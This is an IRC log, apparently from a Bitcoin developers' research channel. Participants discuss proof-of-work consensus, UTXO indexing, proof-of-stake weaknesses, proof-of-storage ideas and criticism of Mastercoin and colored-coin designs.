14:36 < jrmithdobbs> petertodd: well, signed timestamps from observers is a (bad) form of proof-of-work
14:36 < jrmithdobbs> petertodd: ;p
14:36 < petertodd> for instance, you timestamp your transaction, but don't publish, you then make a subsequent transaction spending the same coins, and do publish, I only see the later timestamp, and then you can take the money from me later by publishing the earlier one
14:36 < maaku> you can't have your cake and eat it too ... you need a distributed consensus mechanism
14:36 < petertodd> jrmithdobbs: assume frictionless spherical cow timestamps
14:36 < maaku> do you have a solution to this?
14:36 < jrmithdobbs> petertodd: come again
14:37 < jrmithdobbs> maaku: noone has to my knowledge
14:37 < petertodd> jrmithdobbs: assume timestamps are free, infinity timestamps is still zero work
14:37 < petertodd> maaku: yes and no
14:37 < petertodd> the yes is that bitcoin is a proof-of-publication system, so obviously the problem can be solved.
14:38 < petertodd> the no is that if you want a scalable system, you still need some notion of "audience size" so to speak, and your security is better if you can prove the data was published to a larger audience
14:38 < jrmithdobbs> petertodd: the signatures on the timestamps aren't free though
14:40 < petertodd> jrmithdobbs: this is -wizards, we're mathematicians here :P
14:41 * nsh smiles
14:41 < maaku> Merkle-tree validation is pretty cheap though right? and the added size is paid for in fees
14:41 < jrmithdobbs> petertodd: my point was the timestamp isn't the proof, the multiple signatures from separate observers on "close" timestamps can serve as the proof of publication time
14:42 < petertodd> jrmithdobbs: only if I have some notion of observer - without proof-of-work every observer claimed has zero weight (sybil problem)
14:42 < jrmithdobbs> petertodd: you need a mechanism for defining what are enough and that's where it starts falling apart imho
14:42 < petertodd> jrmithdobbs: exactly, and proof-of-work is what fixes that mechanism
14:43 < petertodd> (I *really* need to write a book on this as fast as possible so I can cement as much terminology as possible from the fine art world into this field...)
14:43 < nsh> please do
14:44 < nsh> i am happy to contribute by poking you daily with an imaginary irc stick if that helps
14:44 < nsh> (was actually wondering what "weight" means here...)
14:45 < maaku> petertodd: that doesn't seem to address the issue very well
14:46 < petertodd> oh man, the crazy thing is semiotics terminology actually makes sense here too, sign, signified, signifier...
14:46 < maaku> so i burn some coins or electricity to get enough sybil identities to double-spend
14:46 < nsh> oh good, let's invite umberto eco to keynote the next bitcoin conference
14:46 < maaku> it puts an economic cost on it, but not one that can be too big
14:47 < petertodd> maaku: they're not sybil identities, the notion of identity is really kinda irrelevant at the theory level, what matters is a certain amount of electricity was destroyed in support of a particular history
14:47 < petertodd> nsh: lol
14:47 < maaku> maybe if I'm "selling" superpreciousname.bit it's worth while
14:48 < maaku> petertodd: you mean like mining proof-of-work?
14:48 < maaku> sorry to come back, but this is sounding like "let's reinvent bitcoin!"
14:51 < petertodd> maaku: not reinventing, expalining what it's really doing
14:52 < petertodd> maaku: first of all, do you see how if miners did no validation at all, bitcoin can still work just fine?
14:53 < maaku> no
14:53 < jrmithdobbs> can you clarify that? what do you mean by that
14:53 < maaku> not for my definition of fine at least
14:54 < jrmithdobbs> petertodd: you mean that even if they didn't verify the actual contents as part of the pow the verification would happen by being rejected by peeers on the network? or are you after something else?
14:55 < andytoshi> i think he means, the order of transactions would be set in stone by the POW
14:55 < petertodd> andytoshi: exactly
14:55 < andytoshi> and the ordering is the only thing that nodes can't agree on by themselves
14:56 < petertodd> andytoshi: and nothing else, dups, invalid, whatever would all be allowed
14:57 < andytoshi> it occurs to me that growing up is in some sense a POW, you can't sybil irl because humans take so long to spam
14:58 < petertodd> andytoshi: indeed
14:58 < petertodd> jrmithdobbs: well, wallet software would ignore the invalid transactions basically
14:59 < jrmithdobbs> petertodd: but it wouldn't "work just fine" in that case as the clients would have to do a lot more filtering and processing wouldn't they? you get the ordering from the pow but you don't know how much of it is valid, doesn't that open up real spam issues?
14:59 < petertodd> jrmithdobbs: after parsing through the entire blockchain
14:59 < petertodd> jrmithdobbs: oh sure, but other than bandwidth and storage the system *would* work just fine
14:59 < petertodd> jrmithdobbs: IE, miner validation is an *optimization*, it's not fundemental
15:00 < maaku> ok yes, i get that (i wouldn't say "just fine" either, but let's not argue sematics)
15:00 < petertodd> maaku: "just fine" to a mathematician :)
15:00 < jrmithdobbs> petertodd: i see your point but would like to point out that the basic mechanisms for all this have been around for several decades and the optimizations are what made it feasible ;p
15:01 < jrmithdobbs> damn you beat me to the academic joke ;p
15:01 < petertodd> jrmithdobbs: well no, proof-of-work consensus in any form *has not* been around for long
15:02 < jrmithdobbs> petertodd: but it's building blocks have been
15:03 < maaku> petertodd: requiring nodes to validate by processing the entire block chain themselves is not scalable. so how do you determine with certainty whether the inputs to a transaction are valid without processing the whole block chain?
15:03 < amiller> jrmithdobbs, no one thought of doing proof of work consensus, it's an out-of-the-blue idea
19:21 < gmaxwell> "Uh. maybe there is a NTP reflection DDOS attack" "oh look, one was recently found and is being exploited"
19:21 < petertodd> lol
19:23 < andytoshi> petertodd: suppose that you've got like a 1btc bond, and it's only considered valid by fast food restaurants and groceries (who want the bond value to be some large multiple of the product value)
19:23 < andytoshi> then to get a net win a scammer would have to get to a whole ton of physical stores within a blocktime or two
19:23 < andytoshi> (and any more than a blocktime would require some sort of mining-based attack)
19:24 < petertodd> andytoshi: sure, but that just goes to say you have to take countermeasures against that kind of thing or it's easy to rip off
19:24 < phantomcircuit> andytoshi, or coordinate with lots of other scammers
19:24 < gmaxwell> andytoshi: really these things make more sense in the context of an anti-doublespending signer service rather than personally, as the signer service could afford a bond a huge multiple of the typical transaction prices.
19:24 < phantomcircuit> (organized russian crime groups do this fairly regularly with atm heists)
19:24 < gmaxwell> (and could also be secured by hardware remote attest)
19:24 < petertodd> gmaxwell: esp if the signing service provides some kind of proof of how many uncommitted btc they've signed for
19:25 < andytoshi> phantomcircuit: right, derp
19:25 < andytoshi> gmaxwell: neat, then you've got a traditional debit-card system but with a bit less trust
19:26 < gmaxwell> petertodd: if only someone recently described how to run a cryptographically private accumulator...
19:26 < petertodd> gmaxwell: I know 'eh?
19:26 * andytoshi has one last exam tomorrow, better get off -wizards before somebody posts a link
19:26 < phantomcircuit> lol
19:39 < maaku> petertodd gmaxwell: I had a "duh" moment, but if prefixed proofs become *required* for transaction and block propagation, then it doesn't matter how the (U)TXO index is keyed, right? or the size of the UTXO set?
19:40 < petertodd> maaku: it's impossible to require them effectively
19:40 < maaku> well, setting that aside...
19:40 < maaku> spherical cow analysis, if you could get every node to upgrade, etc.
19:41 < petertodd> then you'd get collusion between miners who greatly reduce their bandwidth to each other by leaving out proofs they don't need because they have parts of the utxo set cached
19:42 < maaku> i'm not sure that's a problem, except as it applies to decentralization
19:43 < petertodd> well if it's not a problem, then why did you want to require them?
19:43 < gmaxwell> perhaps I'm missing some context, as I don't see what maaku is talking about (maybe it was something too obvious?)
19:43 < petertodd> I assume for fairness, otherwise you might as well just only provide proofs when needed
19:44 < maaku> well it's very obvious now that i think about it, but the trigger was that I as assuming you need to store the UTXO twice to support scriptPubKey-indexing
19:44 < gmaxwell> the whole idea of the MMR-structured data was that it let you make a storage/bandwidth tradeoff if you could always demand a peer give you proofs with their transactions.
19:45 < gmaxwell> oh no, you wouldn't though you should note that scriptPubKey-indexing isn't naturally computationally balanced
so its a poor index.
19:45 < justanotheruser> petertodd: do you think blockchain sharding will be implemented some time soon?
19:45 < petertodd> justanotheruser: heck no
19:45 < gmaxwell> (also making address reuse cheaper is unfortunate)
19:45 < maaku> but if a proof comes with a transaction, you could just mandate that proofs contain the paths to the inputs in the scriptPubKey index, and a mapping of txid:n -> scriptPubKey
19:46 < justanotheruser> petertodd: what is the number of full nodes drops below 2k?
19:46 < gmaxwell> yea, sure. Doesn't mean that indexing by scriptPubKey is actually desirable, but if you change how transactions look up their inputs, then indeed, you don't need two indexes.
19:46 < maaku> "<gmaxwell> (also making address reuse cheaper is unfortunate)" <-- yes i'm onboard with that. this is more of a -wizards hypothetical
19:47 < gmaxwell> ::nods::
19:47 < maaku> yeah ok i was stupid for not realizing that earlier
19:47 < petertodd> justanotheruser: sharding requires miner co-operation and a soft-fork
19:47 < justanotheruser> petertodd: yes, wouldn't it be necessary because the number of full nodes is dropping?
19:48 < sipa> well, if we can create a currency from scratch, with outputs being (value, merkle-ast-root) and inputs being (merkle-script, script inputs), you can easily (except for potential unbalancing) have your UTXO tree indexed by (merkle-ast-root, txid)
19:48 < maaku> justanotheruser: re "blockchain sharding" sortof, that will come soon
19:49 < maaku> if, that is, you mean pruning where some nodes only store ranges of blocks
19:49 < maaku> not tomorrow though, but soon
19:49 < justanotheruser> maaku: I mean blockchain sharding as in https://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03307.html
19:50 < sipa> so you only need a single UTXO data structure for both validation lookups and lightweight node balance checking
19:50 < gmaxwell> The unbalancing could be avoided by just prohibiting reuse. You end up with a design close to an anonymous coin then. E.g. where outputs do blinded inserts into a existing coin list, and where inputs unblind coins, prove the coins exist, and they are added to a spent coin list.
19:51 < petertodd> justanotheruser: necessary doesn't make stuff actually happen you know, more likely lack of full nodes just pushes people to use web-wallet stuff
19:52 < petertodd> justanotheruser: with so few pools the politics of the situation are unknown and may not be what we want...
19:52 < justanotheruser> gmaxwell: btcguru in #bitcoin is linking to a sketchy website. No results on google
19:53 < justanotheruser> petertodd: why would the number of pools effect that?
19:53 < petertodd> sipa: ugh, I really think we're best off avoiding that kind of single-scriptPubKey balance checking stuff
19:53 < petertodd> justanotheruser: because they're large enough that more centralization and fewer nodes out there may be in their interests
19:54 < maaku> sipa: yeah that was more my line of thinking. indexing by txid or by insertion order isn't really useful, other than that's how bitcoin is structured (scriptPubKey isn't available in the input)
19:54 < maaku> and, i guess, useful in that it doesn't encourage bad, bad things like dumping data on the block chain
19:55 < petertodd> maaku: or address re-use
19:55 < sipa> petertodd: maybe - i don't like the privacy implications of that either
19:56 < maaku> petertodd: yeah, although I don't know how to support looking up bip 32 or keypool addresses without also encouraging address reuse :(
19:57 < petertodd> maaku: use fixed prefixes so all you're reusing is the prefix, which still gets you a decent anonymity set (see my recent post on blockchain data)
19:58 < petertodd> maaku: for change I think we can get away with totally random change addresses as the set of *unspent* change txouts doesn't have to grow
20:03 < gmaxwell> Man, people are going to love anonymous coins where efficient lookups for payments to you is impossible.
20:04 < petertodd> gmaxwell: ?
20:06 < gmaxwell> petertodd: if you have an truly anonymous cryptocurrency, e.g. one that worked by committing to blinded coin values in an insertion ordered tree.. there is no way to tell someone paid you from just inspecting the currency.
20:07 < gmaxwell> They'd have to tell you out of band, or you'd have to have a seperate channel e.g. for storing ECDH keyed encrypted messages "hey, I paid you, the blinded coin has value X"
20:07 < petertodd> gmaxwell: oh sure - all this business about stealth addresses is just a way of relaxing that anonymity a bit so you can recover the payment. even a fully anon cryptocurrency can always bolt on a messaging layer to provide that channel
20:08 < gmaxwell> yea, but interestingly the messaging layer could easily break the privacy.
20:08 < petertodd> gmaxwell: if bitmessage was reliable, you'd just use it, but it's not for non-interactive use
20:08 < gmaxwell> e.g. if the messages have a visible to it likely removes it completely.
20:08 < petertodd> gmaxwell: well, if you re-use something like bitmessage, at least your anonymity set also includes random messages unrelated to payments
20:09 < gmaxwell> an interesting point.
20:09 < justanotheruser> Are you referring to zerocoin?
20:09 < petertodd> Anyway, figuring out how to make the user-experience of "must send this packet of data for foo to get their coin at all" to be acceptable might come in handy for other crypto-currency schemes like txin commitments where the network doesn't have the data at all.
20:10 < gmaxwell> petertodd: well in general seperating the accumulator operation from notice is interesting. Esp since there are different durability requirements.
20:10 < gmaxwell> e.g. losing old notices, ::meh::
20:11 < petertodd> gmaxwell: yup
20:11 < gmaxwell> justanotheruser: no.
20:20 < phantomcircuit> Morici v Hashfast Technologies
20:20 < phantomcircuit> and so it begins
20:20 < phantomcircuit> Case5:14-cv-00087
20:26 < gmaxwell> phantomcircuit: do you have some data feed of bitcoin relevant docket entries?
20:27 < phantomcircuit> gmaxwell, yes
20:28 < phantomcircuit> fun with lexus nexus
20:28 < gmaxwell> Is anyone aware of any fully homorphic encryption schemes can have a plaintext output? e.g. the code inside the FHE decides to write to a plaintext output
20:28 < gmaxwell> phantomcircuit: any details on it?
20:28 < phantomcircuit> gmaxwell, i'll upload the complaint in a minute
20:31 < phantomcircuit> gmaxwell, also it should be on RECAP now
20:34 < phantomcircuit> huh not working
20:36 < gmaxwell> and of course, pacer's password recovery takes like ... days
--- Log opened Tue Jan 07 00:00:00 2014
--- Day changed Tue Jan 07 2014
00:00 < wyager> There is no proof that finding primes is particularly difficult
00:00 < wyager> but I suppose the same is true about the discrete log problem haha
00:00 < wyager> Namecoin is actually useful
00:00 < gmaxwell> primecoin is pretty uninteresting, its not a problem anyone cared about before.
00:01 < gmaxwell> Namecoin might be interesting but it's mostly abandoned and has some serious problems.
00:01 < wyager> Yeah, sadly
00:01 < wyager> I think the tech could seriously replace DNS
00:01 < wyager> Scaling might be a bit of an issue, but maybe not
00:02 < gmaxwell> basically nothing else has done much of anything. peercoin and feather coin have solved their consensus problems (in one case PoS doesn't really work, in the other because their blocks are too fast) with developer controlled selection on the best chain.
00:02 < Luke-Jr> something similar to namecoin could..
00:02 < gmaxwell> wyager: you can't do a secure lite client resolver for namecoin with the current design. it can be done, but namecoin doesn't do it.
00:02 < wyager> SPV?
00:02 < gmaxwell> I'd suggested how back in 2011, but by then namecoin development was mostly dead.
00:02 < wyager> Or SNV, rather
00:02 < gmaxwell> wyager: can't work in the current system.
00:03 < wyager> Really? Why's that?
00:03 < gmaxwell> (vulnerable to replay of old records)
00:03 < wyager> Don't records expire?
00:03 < wyager> Ah
00:03 < wyager> I see
00:03 < wyager> records can be updated before expiration
00:03 < gmaxwell> easily enough fixed: https://bitcointalk.org/index.php?topic=21995.0
00:03 < gmaxwell> and the record expiration is rather long.
00:04 < wyager> clever
00:05 < gmaxwell> state proofs have a lot of other advantages, e.g. like being able to prove to a lite node that a block is invalid.
00:06 < gmaxwell> in any case, I have an old (and lost past due for updates) list of alt ideas I think are interesting: https://en.bitcoin.it/wiki/User:Gmaxwell/alt_ideas
00:09 < wyager> hahahaha
00:09 < wyager> I love the timelock chain idea
00:09 < wyager> that would provide a very useful public service
00:10 < wyager> Do you sit around all day and think of clever crypto ideas? It seems like it would be a nice hobby :p
00:11 < gmaxwell> wyager: I mean, it's taken years to produce these.
00:11 < gmaxwell> actually I have a ton more of them that aren't there.
00:11 < wyager> Yeah, but a lot of these are great
00:11 < wyager> People have built entire altcoins on less
00:11 < gmaxwell> correction: no altcoin has ever been built on anything as cool as anything on that list. (except maybe merged mining in namecoin) :P
00:12 < wyager> hehe
00:12 < gmaxwell> well okay, peercoin's PoS was the same scale of an idea, but it doesn't really work
but perhaps some of those ideas won't work either (well, almost certantly some won't work)
00:13 < wyager> What is wrong with PoS? I haven't actually researched any criticisms of Peercoin
00:13 < wyager> But PoS seemed OK
00:13 < gmaxwell> yea, I think the timelock is sexy. I came up with it midsentence while I was telling someone that timelock appears impossible. :P
00:13 < gmaxwell> wyager: the nothing at stake problem.
00:13 < justanotheruser> gmaxwell: What do you think of nxt's PoS? nxt doesn't have checkpointing.
00:13 < wyager> Which is? Aren't you giving up scare coin-days?
00:13 < wyager> *scarce
00:13 < gmaxwell> justanotheruser: lollollol
00:14 < justanotheruser> gmaxwell: I realize it is 100% premined which is why I specified their PoS
00:14 < gmaxwell> Basically in POW you're incentivzed to mine on the ONE TRUE most likely to ultimately survive chain
because they're burning a costly resource forever every attempt they make, and their only compensation is getting a block in that one true chain.
00:15 < gmaxwell> The nothing at stake problem is that since you don't really burn anything there isn't any reason not to mine many forks
in fact its the rational optimal strategy to mine all forks you don't hate.
00:15 < wyager> I see
00:15 < wyager> don't they waste compute power as well though?
00:15 < wyager> by mining on every random ass chain
00:15 < justanotheruser> gmaxwell: To fork PoS you wouldn't have to expend additional resourced, but you would still need more PoS "mining" power than the main chain.
00:15 < gmaxwell> Including all possible hypothetical forks. There was a neet attack once PPC started pos mining: someone programmed their system to consider all possible forks to find the ones where their stake was selected over and over again as the block winner.
00:16 < gmaxwell> wyager: yes and at the limit it just becomes POW in disguise when that happens.
00:16 < Taek42> that's a pretty cool attack
00:17 < gmaxwell> PPC "fixed" that bug by forever requiring POW blocks, and setting it up so the identity of the stake depended on nothing after the last POW block.. which makes the specific all-blocks-are-mine attack harder (requires some POW power), but kinda breaks the energy argument and still leaves weird incentives to mine forks.
00:17 < gmaxwell> justanotheruser: Oh is nxt's fork out? I'll tell you what lines of code to change so you can mine all the blocks.
00:23 < Taek42> I had an idea, 'Proof-of-Storage'
00:23 < wyager> I also like merkelized AST P2SH
00:23 < gmaxwell> wyager: I really wish I knew a way to make POS work, but the best I can offer is if you have one cryptocurrency you could mine another by moving/destroying/etc coins in the first.
00:23 < wyager> Oh, and gmaxwell, my IRC client crashed so I may have missed a few things you said
00:24 < gmaxwell> Taek42: do you mean something like https://bitcointalk.org/index.php?topic=310323.0
00:24 < Taek42> not quite
00:25 < Taek42> the idea is that nodes contribute storage to the network, that can then be sold over the same network
00:25 < Taek42> like distributed cloud storage
00:25 < Taek42> where being a storage host gives you coin mining
00:26 < gmaxwell> Taek42: yea, I don't know how to do that except via proof of throughput which may not be what you want.
00:26 < wyager> Didn't cryptosphere or something try to do something like this?
00:26 < gmaxwell> And I've thought long and hard about how to actually do that.
00:26 < Taek42> where I'm currently stuck is the blockchain
00:26 < gmaxwell> the problem is that if you prove you have storage via a fiat-shamir of a cut and choose over it, you can just POW grind the proof to hit a fraction of the data you've kept.
00:27 < gmaxwell> ... and worse, its delegatable.
00:27 < Taek42> delegatable?
00:27 < gmaxwell> e.g. a pool can keep the data, and answer queries for other miners.
00:27 < gmaxwell> so you'd only get one copy of the data, which wasn't your goal.
00:28 < Taek42> ah yes, we did think of a solution to that
00:28 < Taek42> a partial solution, that is
00:29 < wyager> gmaxwell: What if you did something like this: You only want to verify that the other guy is keeping a backup (you also have a copy), so you make him XOR the data he's supposed to be keeping with the output of a stream PRNG (you do this as well) and then make him give you the hash of this data. You can't spoof this without actually having a copy of the
data. That would work for distributed backup systems, at least.
00:29 < Taek42> the goal would be perfectly distributed data with a tunable redundancy such that nodes go offline over a perfect random distribution.
00:30 < Taek42> anytime nodes go offline in some fashion that doesn't follow a perfect random distribution, you assume they are somehow correlated
00:30 < gmaxwell> wyager: but who are "you".. distributed system, right?
00:31 < wyager> Alice wants Bob to keep a backup of her super important file. To make sure Bob doesn't delete his copy and say he still has it, Alice makes Bob modify the file and hash it. Alice does the same on her end, and if Bob can't produce the correct hash, he no longer has the file
00:31 < wyager> So it's not the same thing as distributed storage
00:31 < wyager> it's just distributed backup
00:31 < gmaxwell> wyager: thats really inefficient too.
00:31 < Taek42> (maybe they were all sharing a file - so they were pretending to be redundant but they weren't, or maybe they were all in Afghanistan and then Afghanistan decided to remove itself from the internet the way (Iran?) did - either way they were correlated in some way, which is against the goals of the network)
00:32 < wyager> Meh
00:32 < gmaxwell> wyager: e.g. forget the stream cipher whatever. Just challenge bob to provide a couple blocks at random from the file.
00:32 < wyager> Yeah, true
00:32 < gmaxwell> (or, if you want, the hash of a couple blocks at random)
00:33 < gmaxwell> wyager: a point there is that no matter which of those you do, bob can turn around to proxy the requests to mallory. Mallory has the data and answers.
00:33 < gmaxwell> wyager: if you had ten bobs you wanted to store the data, perhaps they're all just proxying through to mallory.
00:34 < Taek42> so when multiple nodes go offline in a correlated way, you punish them for 'false redundancy'.
00:34 < wyager> Unless Alice sends copied encrypted with a different key to all people
00:34 < wyager> Then at least she knows that Mallory must be using space to store the file
00:34 < gmaxwell> Taek42: how can you make a consistent observation of "offline" in a decenteralized system?
00:34 < Luke-Jr> ^
00:35 < gmaxwell> Or is your system merely distributed and not anonymous?
00:35 < wyager> And Bob has to pay Mallory anyway, so he's probably keeping it on his own unless the cost savings Mallory offers are worth more than his reputation if he gets discovered
00:35 < Taek42> they don't participate in N consecutive blocks
00:35 < gmaxwell> wyager: yea sure, though that gives alice n-fold communications cost.
00:35 < Taek42> wyager you can do better:
00:36 < Taek42> use something like LT-Codes or Reed-Solomon codes to produce the file
20:05 < phantomcircuit> even after adding a bunch of debugging stuff to cpuminer it's still not matching
20:56 < gmaxwell> amiller: it would also be very simple to implement.
--- Log closed Wed Sep 18 00:00:51 2013
--- Log opened Wed Sep 18 00:00:51 2013
11:48 < gmaxwell> oh here is an interesting idea for an evil altcoin: some portion of the coin's supply comes from converting bitcoins... but instead of making you burn bitcoins, thus increasing their scarcity... it makes you turn them into far futured nlocked anyone can spends... so that bitcoin value isn't increased by the removing coins from circulation, since everyone
knows that they'll flood back in later.
11:53 < sipa> what's evil about it?
11:57 < gmaxwell> well, not that evil. I don't have _that_ much capacity to think evilly. :P But it's something of an economic attack, in that it attacks confidence about the level of coin scarcity in the future. Basically it removes use of bitcoin by removing coins from circulation, but not far enough so that bitcoin is more scarce.
11:57 < gmaxwell> not that different from something like the mastercoin exodus address, but there is no conversion to a private value.
16:08 < warren> did mastercoin actually destroy BTC?
16:11 < jgarzik> I don't know if that's happened.. their protocol described creating unspendable outputs
16:11 < warren> He raised a lot of money for doing nothing.
16:11 < warren> it took us two months to raise 10% that much
16:12 < jgarzik> a fixed asset within a fixed asset.
16:12 < warren> an asset entirely in cash with poor management can be worth less than the value of cash.
16:13 < jgarzik> it can be worth more. it can be worth less. yes :)
16:13 < jgarzik> it's basically pybond-like scheme
16:13 < jgarzik> everyone must conform to the additional protocol
16:14 < sipa> he seems to be just using bitcoin as a very expensive replicated append-only log
16:15 < sipa> by encoding data into fake addresses
16:15 < warren> jgarzik: I also wonder if Mastercard will try to crack down with a "confusingly similar" trademark infringement claim
16:19 < gmaxwell> warren: he's destroying very tiny amounts of btc, but his fundraising was just to a vanity address.
16:19 < gmaxwell> (though this was a bit confusingly marketed, at least some people thought the "exodus address" was some kind of special gateway address and not just going into his pocket.)
16:19 < warren> at least prunable?
16:19 < jgarzik> warren, not v1, no
16:20 < warren> fun
16:20 < jgarzik> warren, v2 is multisig, where 1-of-3 is valid, 2-of-3 are data
16:20 < jgarzik> so still bloating UTXO
16:20 < Luke-Jr> jgarzik: but nothing is actually implemented, AFAIK?
16:20 < jgarzik> yah. people are "working on things"
16:20 < gmaxwell> nothing is implemented but they're still making "v1" transactions by hand using blockchain.info!
16:22 < sipa> jgarzik: but are those outputs actually spent?
16:22 < sipa> the muktisig onea
16:22 < sipa> multisig ones
16:22 < jgarzik> sipa, eventually
creating other 1-of-3 multisig data carrying outputs
16:23 < sipa> ic
16:23 < sipa> that better than unspendable in any case
16:23 < sipa> but i think it's wrong talk about spendable or not
16:23 < warren> sounds like a parasite
16:23 < sipa> it's about whether they're getting spent
16:23 < Luke-Jr> is it doing *anything* that can't be accomplished with merged mining?
16:24 < sipa> i doubt that
16:24 < Luke-Jr> how much did he raise again? <.<
16:24 < sipa> no idea
16:24 < jgarzik> dunno
16:24 < jgarzik> presumably bc.i or be will tell you
16:24 < gmaxwell> ~4000 btc?
16:24 < gmaxwell> 4740 BTC.
16:25 < Luke-Jr> pfft
16:25 < Luke-Jr> give it all to sipa to do the coding for a year
16:25 < Luke-Jr> :P
16:25 < sipa> daaaamn
16:25 < gmaxwell> giving money to sipa would only save the world, not create some toy asset that you can pump and dump.
16:26 < warren> only
16:26 < Luke-Jr> hehe
16:26 < gmaxwell> warren: what, are you some kinda socialist??
16:26 < Luke-Jr> O.o
16:26 < jgarzik> Luke-Jr, well if it follows the pybond pattern, mastercoins are tradeable, normal transactions, with a little bit of protocol-specified data attached. merged mining would be far less efficient than a simple purchase via atomic coin swap.
16:26 < gmaxwell> It's a joke.
16:27 < Luke-Jr> gmaxwell: I think the lossy IRC lost the humour XD
16:28 < gmaxwell> jgarzik: yea, the zero trusted party atomic coin swap is easer to accomplish with their blockchain fattening approach.
16:29 < gmaxwell> Of course, if you have a trusted party (or even a smart property agent) that is giving value/meaning to the colored coin, then you could instead just instruct it to watch the bitcoin chain for a payment (or show it proof of one) in order to make an atomic transaction.
16:30 < gmaxwell> but if the thing you are trading for is just "mastercoins" then there is no such party.
16:31 < jgarzik> sure, that's a design choice, not having a centralized party ;p
16:31 < jgarzik> you pick a shared protocol rather than a common party
16:33 < gmaxwell> jgarzik: well, not quite
in some cases, e.g. trading shares of some business there actually is a centralized party. Not making use of them doesn't make them stop existing. Most of the colored coins usecases are like that.
18:17 < amiller> "<sipa> he seems to be just using bitcoin as a very expensive replicated append-only log"
18:17 < amiller> yeah.
18:18 < amiller> i think things like that will happen more until bitcoin prices them out somehow, you can't prevent someone from putting the junk data in there if they want to otherwise
18:18 < sipa> well... texhnically, so is bitcoin
18:18 < amiller> all the colored coin schemes are defective for the reason that they don't put any data in the utxo
18:18 < sipa> it's alao using the blockchain as an exensive replicated log
18:18 < amiller> so no one really has any incentive to actually maintain the indexes that will be needed to prove things
18:19 < sipa> hmm, how do you mean?
18:19 < sipa> they need an annotated utxo set
18:19 < amiller> suppose i want to do a complicated mastercoin query
18:19 < amiller> yeah
18:19 < amiller> they have so much functionality that they will need a whole giant sql database
18:20 < amiller> a lot of work (well, you in particular do all of it :p) goes into keeping the utxo managable sized
18:20 < amiller> which is good because everyone replicates it
18:20 < amiller> but only "mastercoin" nodes will replicate the special mastercoin indexes, which will probably be enormous
18:21 < sipa> well, right now everyone with the UTXO set also has the blockchain
18:21 < sipa> so people are not pointed to the fact that they have very different replication needs
18:21 < amiller> yeah but if i want to answer a mastercoin query i might have to go take a very long walk through it
18:21 < gmaxwell> yea, the functionality they have described requires doing O(N^2) accesses to the set of all existing mastercoins. There isn't even an O(mastercoins) way to get just a list of currently existing mastercoins.
18:22 < sipa> oh my
18:22 < gmaxwell> And can't be. Even if the mastercoin is in the UTXO and you have a UTXO proof, you still need to do the history tracing unless nodes enforce the mastercoin rules on the UTXO.
18:22 < amiller> they're bolting on functionality left and right, it's a whole spreadsheet application
18:22 < sipa> i'm suddenly not worried about it anymore
18:23 < gmaxwell> basically all the colored coins proposals have these problems.
18:24 < gmaxwell> bitcoin at least gets you a computationally cheap verification because you can forward produce your own utxo. Mastercoin could do that too but you'd need special mastercoin nodes that examined the whole blockchain and built mastercoin indexes.
18:24 < sipa> i always imagined colored coins schemes as just augmenting the utxo set, with a "colors" tag for each coin
18:24 < gmaxwell> sipa: yea but mastercoin's "feature" list has things like automated trading with an orderbook in the blockchain.
18:25 < gmaxwell> so you'd have to do order matching against all the eligible coins...
18:25 < sipa> uhhhh
18:25 < amiller> no one is going to realize/notice/viscerally feel the problem until it's filled with junk and no one can afford to run a full mastercoin node and so everyone's security relies on checking mastercoinexplorer.info
18:25 < gmaxwell> and supporting multi-leg trades, like my 1 btc for your 1 mcUSD for amiller's 1 mcLTC.
18:26 < sipa> amiller: and i'm sure mastercoinexplorer.info will just scrape blockchain.info :)
18:26 < amiller> well that's not sufficient
18:26 < amiller> i mena
18:26 < amiller> it will have to maintain its own ridiculous index
18:26 < amiller> in addition to scraping
18:26 < amiller> good thing they've raised enough money to afford one instance of that for a cuople years!
18:26 < gmaxwell> amiller: the funny thing is that they'll probably be fine with that. Annoyingly the'll shit all over the distributed system instead of just putting all that centeralized stuff in a central place to begin with.. just because the pretext of decenteralization raises money.
18:26 < sipa> they may come up with some checkpointing scheme, that includes the "index"
18:28 < amiller> opencoin/ripple also has this problem
18:28 < amiller> it just sucks that eveyrthing will seem like it's working as long as not too many people use it and no one minds that only a few people run nodes
18:30 < amiller> it wont crumble until it has a SatoshiDice moment
18:30 < gmaxwell> Centeralized systems (even ones pretending not to be) are just fundimentally easier. It won't even crumble in that case, just throw more resources at it.
18:30 < amiller> bitcoin hit that hurdle and just leveled up, so to speak
18:31 < amiller> so suppose they're centralized (but no one notices because of confusing greypapers) and reasonably efficient as long as you don't run a full node, will they just gain users until there's an actual security breach or something?
02:10 < petertodd> zooko: kinda: https://en.bitcoin.it/wiki/Fidelity_bonds
02:10 < nejucomo> Hello.
02:10 < zooko> Thanks.
02:11 < petertodd> zooko: logs: http://pastebin.com/Rj4bshY3
02:11 < zooko> Thanks.
02:13 < realazthat> mmm
02:13 < midnightmagic> hey nejucomo
02:16 < zooko> Hey, you folks were talking about the danger of miners discriminating among txns. (In http://pastebin.com/Rj4bshY3 .)
02:16 < Luke-Jr> zooko: O.o?
02:16 < Luke-Jr> miners are supposed to do that
02:17 < petertodd> Yeah, that's part of Adam Back's thing with his commit coins stuff.
02:17 < petertodd> Luke-Jr: we mean mike-style blacklists
02:17 < Luke-Jr> mike-stlye blacklists?
02:18 < petertodd> Luke-Jr: Yes, as in centrally/semi-centrally issued lists of coins that must not be allowed to move.
02:18 < zooko> Luke-Jr: the minimal service that we need from miners is just to not include conflicting double-spends in their block.
02:18 < Luke-Jr> petertodd: I don't see a problem, as long as it's not enforced on blocks miners make
02:18 < petertodd> zooko: assuming a limited blocksize...
02:18 < zooko> Other than that, if they could be blinded to the contents of transactions that would be good.
02:18 < Luke-Jr> zooko: also spam filtering
02:18 < zooko> petertodd: why?
02:19 < petertodd> zooko: With unlimited, then you *do* want spam filtering to keep UTXO set size sane.
02:19 < zooko> Luke-Jr: well, inasmuch as something is imposing an externality that it doesn't pay for, then yes.
02:19 * zooko nods.
02:19 < petertodd> Anyway, Luke and zooko are really talking about different things here...
02:20 < petertodd> zooko: I guess the key-value store stuff is about halfway down that paste.
02:21 < zooko> petertodd: still reading that paste...
02:29 < zooko> rs
02:29 < zooko> oops
02:32 < gmaxwell> petertodd: a position I've taken before is that we'd much rather have the miners not able to pick and choose, but if we can't eliminate that choke point and its costs and risks, then we darn well better also exploit the public benefits of having it there.
02:34 < petertodd> well, I'm not that concerned about UTXO growth with small blocks, so I figure if mining is decentralized enough, miners will greedily choose tx's by fees, and I consider fees apolitical
02:38 < petertodd> adam back's tx hiding stuff is nice, among other similar solutions, but if you are thinking about scenarios where it's needed for more than just plausible deniability, users will be forced to prove what's in the opaque containers anyway
02:38 < petertodd> meanwhile, being able to implement IsStandard() and similar has strong practical benifits
